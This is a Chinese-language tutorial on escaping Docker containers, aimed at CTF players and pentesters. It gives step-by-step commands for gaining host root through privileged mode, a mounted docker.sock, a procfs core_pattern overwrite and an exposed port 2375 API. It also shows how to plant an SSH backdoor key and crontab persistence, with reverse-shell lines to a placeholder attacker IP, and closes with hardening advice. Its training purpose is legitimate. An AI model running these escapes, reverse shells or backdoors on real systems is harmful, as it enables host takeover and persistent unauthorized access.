参考来源:先知社区、博客园、银遁安全团队、知乎等 适用人群:网络安全初学者、CTF选手、渗透测试人员
想象Docker容器是一个玻璃房子:
Docker本身设计是安全的,但以下情况可能导致逃逸:
| 原因 | 通俗解释 |
|---|---|
| 配置不当 | 管理员把不该给容器的权限给了容器 |
| 挂载敏感目录 | 把宿主机的"钥匙"(如docker.sock)挂进了容器 |
| 特权模式 | 给了容器"万能钥匙",什么都能干 |
| 内核漏洞 | Linux内核本身有漏洞,容器利用漏洞突破隔离 |
| API暴露 | 把Docker的管理接口暴露在公网上,谁都能访问 |
拿到一个Shell后,先判断环境!
bashls -al /
如果看到 .dockerenv 文件,说明你在Docker容器里。
原理:Docker启动容器时会自动在根目录创建这个隐藏文件。
bashcat /proc/1/cgroup
1:name=systemd:/docker/ 的路径,如 1:name=systemd:/docker/67cb98b4e1d5...bashhostname
Docker容器的hostname通常是容器ID(一长串十六进制字符),如 67cb98b4e1d5。
bash#!/bin/bash
# 判断是否在Docker容器中
if [ -f "/.dockerenv" ]; then
echo "[+] 发现 .dockerenv 文件,可能在Docker容器中"
fi
if grep -q "docker" /proc/1/cgroup 2>/dev/null; then
echo "[+] /proc/1/cgroup 包含docker标识,确认在Docker容器中"
fi
if [ $(hostname | wc -c) -eq 13 ]; then
echo "[+] hostname长度为12位,可能是Docker容器ID"
fi
确认在容器里后,需要检查是否有逃逸条件。
bashcat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff 或 0000001fffffffff特权模式 = 给了容器"万能钥匙",几乎可以干任何事。
bashls -lah /var/run/docker.sock
如果存在这个文件,说明容器可以跟Docker守护进程直接通信。
bashfind / -name core_pattern
如果出现两个core_pattern文件(一个在 /proc/sys/kernel/core_pattern,一个在 /host/proc/sys/kernel/core_pattern),说明挂载了宿主机的procfs。
bashcat /proc/mounts | grep -E "workdir|overlay"
查看是否有挂载宿主机的目录。
bashcurl http://宿主机IP:2375
如果返回JSON数据(如 {"message":"page not found"}),说明API端口开放。
bash# 下载container-escape-check工具
git clone https://github.com/teamssix/container-escape-check
cd container-escape-check
python3 container-escape-check.py
当容器以 --privileged=true 启动时:
/dev/sda)Step 1:确认特权模式
bashcat /proc/self/status | grep CapEff
# 看到 0000003fffffffff 就对了
Step 2:查看磁盘设备
bashfdisk -l
找到宿主机磁盘,通常是 /dev/sda5 或 /dev/vda3。
Step 3:挂载宿主机磁盘
bashmkdir /host
mount /dev/sda5 /host
Step 4:chroot切换到宿主机
bashchroot /host
whoami # 显示 root,说明成功!
Step 5(可选):写入定时任务反弹shell
bashecho '* * * * * root bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /host/etc/crontab
原理:在宿主机crontab里加一条任务,每分钟执行一次反弹shell。
--privileged 启动容器/var/run/docker.sock 是Docker守护进程的"耳朵",谁跟它说话,它听谁的。如果容器里能访问这个文件,就能让Docker守护进程干任何事。
Step 1:确认docker.sock存在
bashls -lah /var/run/docker.sock
Step 2:安装docker客户端
bashapt-get update && apt-get install curl -y curl -fsSL https://get.docker.com/ | sh
Step 3:创建新容器并挂载宿主机根目录
bashdocker run -it -v /:/host ubuntu /bin/bash
这条命令的意思是:用docker.sock的权限,启动一个新容器,把宿主机的根目录
/挂到新容器的/host目录。
Step 4:chroot逃逸
bashchroot /host
whoami # root
/var/run/docker.sock 挂载到不可信容器/proc/sys/kernel/core_pattern 是一个特殊文件,控制程序崩溃时怎么处理。如果它的内容以 | 开头,后面跟的是一个脚本路径,程序崩溃时会执行这个脚本。
如果容器挂载了宿主机的 /proc,就能修改宿主机的 core_pattern,让宿主机在程序崩溃时执行我们的恶意脚本。
Step 1:确认挂载了procfs
bashfind / -name core_pattern
# 如果看到两个结果,说明挂载了
Step 2:查看当前core_pattern
bashcat /proc/sys/kernel/core_pattern
Step 3:找到容器在宿主机上的绝对路径
bashcat /proc/mounts | grep docker
# 关注 upperdir 的值
比如得到路径:/var/lib/docker/overlay2/xxx/diff
Step 4:创建反弹shell脚本
bashcat <<EOF > /exp.sh
#!/bin/bash
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
EOF
chmod +x /exp.sh
Step 5:修改core_pattern
bashecho "|/var/lib/docker/overlay2/xxx/diff/exp.sh" > /proc/sys/kernel/core_pattern
Step 6:触发程序崩溃
bashsleep 10 &
kill -SIGSEGV $!
SIGSEGV是段错误信号,会让程序崩溃,触发core dump,从而执行我们的脚本。
Step 7:攻击机监听
bashnc -lvvp 端口
/proc 挂载到容器中Docker默认监听Unix Socket,但如果管理员配置错误,把它监听在了 0.0.0.0:2375,任何人都能远程控制Docker。
Step 1:确认API开放
bashcurl http://目标IP:2375
# 返回 {"message":"page not found"} 说明存在
Step 2:远程连接Docker
bashdocker -H tcp://目标IP:2375 images
Step 3:创建容器挂载宿主机根目录
bashdocker -H tcp://目标IP:2375 run -it -v /:/host ubuntu:18.04 /bin/bash
Step 4:chroot逃逸
bashchroot /host
如果能挂载宿主机的根目录到容器,就能往宿主机的 /root/.ssh/authorized_keys 写入自己的公钥,实现免密登录。
Step 1:攻击机生成密钥对
bashssh-keygen -t rsa -b 4096 -C "backdoor@attacker.com" -f ~/.ssh/docker_escape
Step 2:查看公钥
bashcat ~/.ssh/docker_escape.pub
Step 3:在容器里创建.ssh目录并写入公钥
bashmkdir -p /host/root/.ssh
chmod 700 /host/root/.ssh
cat >> /host/root/.ssh/authorized_keys << 'EOF'
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAA... backdoor@attacker.com
EOF
chmod 600 /host/root/.ssh/authorized_keys
chown root:root /host/root/.ssh/authorized_keys
Step 4:SSH连接宿主机
bashssh -i ~/.ssh/docker_escape root@目标IP
/root/.ssh/authorized_keys 文件变化如果能挂载宿主机根目录,就能修改 /etc/crontab,添加定时任务反弹shell。
Step 1:确认挂载了宿主机根目录
bashls /host
# 看到宿主机的文件系统就对了
Step 2:写入定时任务
bashecho '* * * * * root bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /host/etc/crontab
Step 3:攻击机监听
bashnc -lvvp 端口
等待1分钟,就能收到shell。
如果容器启用了 SYS_PTRACE Capability,容器内的进程可以ptrace其他进程。利用这个可以注入到宿主机进程,执行任意代码。
Step 1:确认有SYS_PTRACE
bashcat /proc/self/status | grep CapEff
Step 2:查找宿主机进程
bashps aux
Step 3:使用ptrace注入
bash# 需要专门的工具,如 ptrace-inject
# 具体利用较复杂,需要编写注入代码
这个方法比较复杂,适合进阶学习。
| 项目 | 内容 |
|---|---|
| 影响范围 | runc <= 1.0-rc6 |
| 漏洞原理 | 通过覆盖 /proc/self/exe 实现容器逃逸 |
| 利用条件 | 容器以root运行,且能执行恶意程序 |
| 修复方案 | 升级runc到1.0-rc7及以上 |
通俗解释:runc是Docker用来启动容器的工具。这个漏洞让容器里的程序能"替换"runc本身,下次启动容器时就执行了我们的恶意代码。
| 项目 | 内容 |
|---|---|
| 影响范围 | containerd < 1.3.9 / < 1.4.3 |
| 漏洞原理 | containerd-shim的API暴露给容器,可控制宿主机进程 |
| 利用条件 | 使用host网络模式 |
| 修复方案 | 升级containerd |
| 项目 | 内容 |
|---|---|
| 影响范围 | Linux内核 < 5.17 |
| 漏洞原理 | cgroups v1的release_agent机制存在漏洞 |
| 利用条件 | 容器有CAP_SYS_ADMIN权限 |
| 修复方案 | 升级内核或限制Capabilities |
| 项目 | 内容 |
|---|---|
| 影响范围 | runc < 1.1.12 |
| 漏洞原理 | runc泄漏了宿主机的文件描述符,容器可访问宿主机文件 |
| 利用条件 | 特定条件下的容器启动 |
| 修复方案 | 升级runc到1.1.12及以上 |
环境要求:一台Linux虚拟机(推荐Ubuntu)
Step 1:安装Docker
bash# Ubuntu
sudo apt-get update
sudo apt-get install docker.io -y
sudo usermod -aG docker $USER
Step 2:搭建各种漏洞场景
bash# 场景1:特权模式容器
docker run --rm --privileged=true -it ubuntu
# 场景2:挂载docker.sock
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu
# 场景3:挂载procfs
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
# 场景4:远程API暴露
# 修改 /lib/systemd/system/docker.service
# 在ExecStart后添加 -H tcp://0.0.0.0:2375
sudo systemctl restart docker
| 靶场名称 | 地址 | 说明 |
|---|---|---|
| Vulhub | https://vulhub.org/ | 各种Docker漏洞环境 |
| HackTheBox | https://www.hackthebox.com/ | 真实渗透测试环境 |
| TryHackMe | https://tryhackme.com/ | 有Docker逃逸专项练习 |
| CTFShow | https://ctf.show/ | 国内CTF平台,有容器逃逸题 |
| BUUCTF | https://buuoj.cn/ | 有Docker相关题目 |
bash# 不要用特权模式
docker run --privileged=true ... # ❌ 危险!
# 限制Capabilities
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ... # ✅ 安全
bash# 不要挂载这些:
/var/run/docker.sock # ❌
/proc # ❌
/ # ❌(宿主机根目录)
/dev/sda* # ❌(磁盘设备)
bash# /etc/docker/daemon.json
{
"userns-remap": "default"
}
bash# 只监听本地Unix Socket
# /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock # ✅
# 不要加 -H tcp://0.0.0.0:2375 # ❌
bash# 保持Docker和内核最新
sudo apt-get update && sudo apt-get upgrade docker.io
bash# 扫描镜像漏洞
docker scan 镜像名
# 运行时安全监控(如Falco)
| 逃逸方式 | 判断条件 | 核心利用命令 | 难度 |
|---|---|---|---|
| 特权模式 | CapEff=3fffffffff | mount + chroot | ⭐ |
| docker.sock | 存在/var/run/docker.sock | docker run -v /:/host | ⭐⭐ |
| procfs挂载 | 两个core_pattern | 修改core_pattern触发崩溃 | ⭐⭐⭐ |
| 远程API | 2375端口开放 | docker -H tcp://... | ⭐⭐ |
| SSH公钥 | 挂载宿主机根目录 | 写入authorized_keys | ⭐⭐ |
| 定时任务 | 挂载宿主机根目录 | 写入/etc/crontab | ⭐⭐ |
| CVE漏洞 | 特定版本 | 利用脚本 | ⭐⭐⭐⭐ |
bash# ========== 信息收集 ==========
ls -al / # 看.dockerenv
cat /proc/1/cgroup # 看docker标识
hostname # 看容器ID
cat /proc/self/status | grep CapEff # 看特权模式
ls -lah /var/run/docker.sock # 看docker.sock
find / -name core_pattern # 看procfs挂载
fdisk -l # 看磁盘设备
cat /proc/mounts | grep docker # 看挂载路径
# ========== 特权模式逃逸 ==========
mkdir /host && mount /dev/sda5 /host
chroot /host
# ========== docker.sock逃逸 ==========
docker run -it -v /:/host ubuntu /bin/bash
chroot /host
# ========== procfs逃逸 ==========
echo "|/path/to/exp.sh" > /proc/sys/kernel/core_pattern
sleep 10 &; kill -SIGSEGV $!
# ========== 远程API逃逸 ==========
docker -H tcp://IP:2375 run -it -v /:/host ubuntu /bin/bash
# ========== 反弹shell ==========
bash -i >& /dev/tcp/IP/PORT 0>&1
nc -lvvp PORT # 攻击机监听
免责声明:本笔记仅供学习交流使用,请勿用于非法用途。进行安全测试前请确保获得授权。